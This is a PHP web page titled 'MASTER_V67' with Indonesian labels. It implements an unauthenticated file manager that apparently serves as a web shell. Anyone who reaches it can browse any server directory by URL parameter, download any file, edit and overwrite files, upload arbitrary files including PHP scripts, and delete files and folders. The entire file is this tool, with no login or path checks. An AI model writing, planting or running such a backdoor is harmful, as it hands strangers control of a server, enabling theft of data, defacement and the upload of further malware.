<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);

$root = __DIR__;
$currentDir = isset($_GET['dir']) ? $_GET['dir'] : $root;
if (!is_dir($currentDir)) { $currentDir = $root; }

// --- LOGIKA DOWNLOAD (Harus di paling atas sebelum output HTML) ---
if (isset($_GET['download']) && file_exists($_GET['download'])) {
    $file = $_GET['download'];
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.basename($file).'"');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($file));
    readfile($file);
    exit;
}

// --- LOGIKA AJAX (SIMPAN, UNGGAH, HAPUS, BUAT BARU) ---
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_POST['ajax_save'])) {
        $targetFile = $_POST['file'];
        if (is_writable($targetFile) && file_put_contents($targetFile, $_POST['content']) !== false) {
            echo "SUCCESS_SAVED";
        } else { echo "ERROR_SAVE_PERM"; }
        exit;
    }
    if (isset($_POST['ajax_upload'])) {
        $targetPath = $currentDir . DIRECTORY_SEPARATOR . basename($_FILES['file_to_upload']['name']);
        if (move_uploaded_file($_FILES['file_to_upload']['tmp_name'], $targetPath)) {
            echo "SUCCESS_UPLOAD";
        } else { echo "ERROR_UPLOAD_FAILED"; }
        exit;
    }
    if (isset($_POST['ajax_delete'])) {
        $target = $_POST['target'];
        if (is_dir($target)) {
            $files = array_diff(scandir($target), array('.', '..'));
            foreach ($files as $file) { @unlink("$target/$file"); }
            if (@rmdir($target)) { echo "SUCCESS_DELETE"; }
        } else {
            if (@unlink($target)) { echo "SUCCESS_DELETE"; }
        }
        exit;
    }
    if (isset($_POST['ajax_new_file'])) {
        $newFile = $currentDir . DIRECTORY_SEPARATOR . $_POST['name'];
        if (!file_exists($newFile)) {
            file_put_contents($newFile, "<?php\n\n?>");
            echo "SUCCESS_NEW";
        } else { echo "EXISTS"; }
        exit;
    }
    if (isset($_POST['ajax_new_folder'])) {
        $newFolder = $currentDir . DIRECTORY_SEPARATOR . $_POST['name'];
        if (!file_exists($newFolder)) {
            mkdir($newFolder, 0755);
            echo "SUCCESS_NEW";
        } else { echo "EXISTS"; }
        exit;
    }
}
$items = scandir($currentDir);
?>
<!DOCTYPE html>
<html lang="id">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <title>MASTER_V67</title>
    <style>
        body, html { height: 100%; margin: 0; padding: 0; background: #000; color: #0f0; font-family: 'Courier New', monospace; overflow: hidden; }
        body { display: flex; flex-direction: column; padding: 10px; box-sizing: border-box; }
        .header-tools { flex-shrink: 0; margin-bottom: 10px; border-bottom: 1px solid #050; padding-bottom: 10px; }
        .path-text { font-size: 10px; color: #888; margin-bottom: 8px; word-break: break-all; }
        .menu-grid { display: grid; grid-template-columns: 1fr 1fr; gap: 5px; margin-bottom: 10px; }
        .menu-item { border: 1px solid #050; padding: 5px; background: #050505; }
        .menu-item label { font-size: 9px; display: block; margin-bottom: 3px; color: #fff; }
        input[type="text"], input[type="file"] { background: #000; color: #0f0; border: 1px solid #0f0; font-size: 11px; width: 100%; box-sizing: border-box; }
        .btn-small { background: #0f0; color: #000; border: none; font-size: 9px; font-weight: bold; cursor: pointer; padding: 4px; margin-top: 3px; width: 100%; }
        .container { display: flex; flex-direction: column; flex-grow: 1; gap: 10px; min-height: 0; }
        .list { flex-shrink: 0; height: 150px; border: 1px solid #050; background: rgba(0,20,0,0.5); overflow-y: auto; padding: 5px; box-sizing: border-box; }
        .item-row { display: flex; justify-content: space-between; align-items: center; border-bottom: 1px solid #010; padding: 10px 0; }
        .item-row a { color: #0f0; text-decoration: none; flex-grow: 1; font-size: 13px; overflow: hidden; text-overflow: ellipsis; }
        .actions { display: flex; gap: 8px; align-items: center; }
        .btn-dl { color: #0f0; text-decoration: none; border: 1px solid #0f0; padding: 3px 6px; font-size: 10px; }
        .btn-del { color: #f00; background: none; border: 1px solid #f00; padding: 4px 8px; cursor: pointer; font-size: 10px; }

        .editor { flex-grow: 1; display: flex; flex-direction: column; border: 1px solid #050; background: #050505; padding: 5px; min-height: 0; position: relative; }
        textarea { flex-grow: 1; background: #000; color: #0f0; border: 1px solid #0f0; padding: 10px; font-size: 14px; resize: none; width: 100%; box-sizing: border-box; outline: none; }
        .btn-save { background: #0f0; color: #000; border: none; padding: 15px; cursor: pointer; font-weight: bold; margin-top: 10px; flex-shrink: 0; font-size: 16px; position: relative; }

        /* Loader Spinner */
        #loader { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.8); z-index: 100; justify-content: center; align-items: center; flex-direction: column; }
        .spinner { border: 4px solid rgba(0,255,0,0.1); border-top: 4px solid #0f0; border-radius: 50%; width: 40px; height: 40px; animation: spin 1s linear infinite; }
        @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } }

        /* Center Notification di Editor */
        #notif { 
            display: none; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); 
            padding: 20px; background: #0f0; color: #000; font-weight: bold; border-radius: 10px; 
            z-index: 200; width: 70%; text-align: center; box-shadow: 0 0 30px #0f0; 
        }

        @media (min-width: 768px) {
            .container { flex-direction: row; }
            .list { width: 30%; height: auto; }
            .editor { width: 70%; }
        }
    </style>
</head>
<body>

<div class="header-tools">
    <div class="path-text">PATH: <?php echo htmlspecialchars($currentDir); ?></div>
    <div class="menu-grid">
        <div class="menu-item"><label>FILE_BARU</label><input type="text" id="newFileName" placeholder="nama.php"><button class="btn-small" onclick="createNew('file')">CREATE</button></div>
        <div class="menu-item"><label>FOLDER_BARU</label><input type="text" id="newFolderName" placeholder="folder_name"><button class="btn-small" onclick="createNew('folder')">MKDIR</button></div>
        <div class="menu-item" style="grid-column: span 2;"><label>UPLOAD_FILE</label>
            <form id="uploadForm" style="display: flex; gap: 5px;"><input type="file" name="file_to_upload" id="fileInput"><button type="button" class="btn-small" onclick="uploadFile()" style="width: 60px; margin-top:0;">GO</button></form>
        </div>
    </div>
</div>

<div class="container">
    <div class="list">
        <a href="?dir=<?php echo urlencode(dirname($currentDir)); ?>" style="color: #fff; display: block; margin-bottom: 10px;">[ .. KEMBALI ]</a>
        <?php
        foreach ($items as $item) {
            if ($item == "." || $item == "..") continue;
            $fullPath = $currentDir . DIRECTORY_SEPARATOR . $item;
            $isDir = is_dir($fullPath);
            $id = md5($fullPath);
            echo "<div class='item-row' id='row-$id'>";
            if ($isDir) {
                echo "<a href='?dir=".urlencode($fullPath)."'>📁 $item/</a>";
            } else {
                echo "<a href='?dir=".urlencode($currentDir)."&edit=".urlencode($fullPath)."'>📄 $item</a>";
            }
            echo "<div class='actions'>";
            if (!$isDir) { echo "<a href='?download=".urlencode($fullPath)."' class='btn-dl' title='Download'>↓</a>"; }
            echo "<button class='btn-del' onclick=\"deleteItem('".addslashes($fullPath)."', '$id')\">X</button>";
            echo "</div>";
            echo "</div>";
        }
        ?>
    </div>

    <div class="editor">
        <div id="loader"><div class="spinner"></div><p style="color:#0f0; margin-top:10px;">SAVING...</p></div>
        <div id="notif">BERHASIL DIUBAH!</div>

        <?php if (isset($_GET['edit']) && file_exists($_GET['edit'])): 
            $fileToEdit = $_GET['edit'];
            $content = file_get_contents($fileToEdit);
        ?>
            <div style="font-size:10px; margin-bottom:5px; color:#fff;">EDITING: <?php echo basename($fileToEdit); ?></div>
            <form id="editForm" style="display:flex; flex-direction:column; flex-grow:1;">
                <input type="hidden" name="file" value="<?php echo htmlspecialchars($fileToEdit); ?>">
                <textarea name="content" id="fileContent" spellcheck="false"><?php echo htmlspecialchars($content); ?></textarea>
                <button type="button" onclick="saveFile()" class="btn-save" id="saveBtn">SIMPAN PERUBAHAN</button>
            </form>
        <?php else: ?>
            <div style="flex-grow:1; display:flex; justify-content:center; align-items:center; color:#030;">READY_SYSTEM</div>
        <?php endif; ?>
    </div>
</div>

<script>
const loader = document.getElementById('loader');
const notif = document.getElementById('notif');

function showNotif() {
    notif.style.display = 'block';
    setTimeout(() => { notif.style.display = 'none'; }, 2000);
}

function saveFile() {
    loader.style.display = 'flex';
    const formData = new FormData(document.getElementById('editForm'));
    formData.append('ajax_save', '1');
    
    fetch(window.location.href, { method: 'POST', body: formData })
    .then(r => r.text()).then(d => {
        loader.style.display = 'none';
        if(d === "SUCCESS_SAVED") {
            showNotif();
        } else {
            alert("GAGAL SIMPAN: Cek Izin File");
        }
    }).catch(() => {
        loader.style.display = 'none';
        alert("KONEKSI ERROR");
    });
}

function createNew(type) {
    const name = type === 'file' ? document.getElementById('newFileName').value : document.getElementById('newFolderName').value;
    if(!name) return alert("Masukkan nama!");
    loader.style.display = 'flex';
    const formData = new FormData();
    formData.append('name', name);
    formData.append(type === 'file' ? 'ajax_new_file' : 'ajax_new_folder', '1');
    fetch(window.location.href, { method: 'POST', body: formData })
    .then(r => r.text()).then(d => {
        loader.style.display = 'none';
        if(d === "SUCCESS_NEW") location.reload();
        else alert("GAGAL / SUDAH ADA");
    });
}

function uploadFile() {
    const fileInput = document.getElementById('fileInput');
    if(fileInput.files.length === 0) return alert("Pilih file!");
    loader.style.display = 'flex';
    const formData = new FormData();
    formData.append('file_to_upload', fileInput.files[0]);
    formData.append('ajax_upload', '1');
    fetch(window.location.href, { method: 'POST', body: formData })
    .then(r => r.text()).then(d => {
        loader.style.display = 'none';
        if(d === "SUCCESS_UPLOAD") location.reload();
        else alert("GAGAL_UNGGAH");
    });
}

function deleteItem(path, id) {
    if(!confirm("Hapus permanen?")) return;
    loader.style.display = 'flex';
    const formData = new FormData();
    formData.append('target', path);
    formData.append('ajax_delete', '1');
    fetch(window.location.href, { method: 'POST', body: formData })
    .then(r => r.text()).then(d => {
        loader.style.display = 'none';
        if(d === "SUCCESS_DELETE") {
            document.getElementById('row-'+id).remove();
        } else { alert("GAGAL_HAPUS"); }
    });
}
</script>
</body>
</html>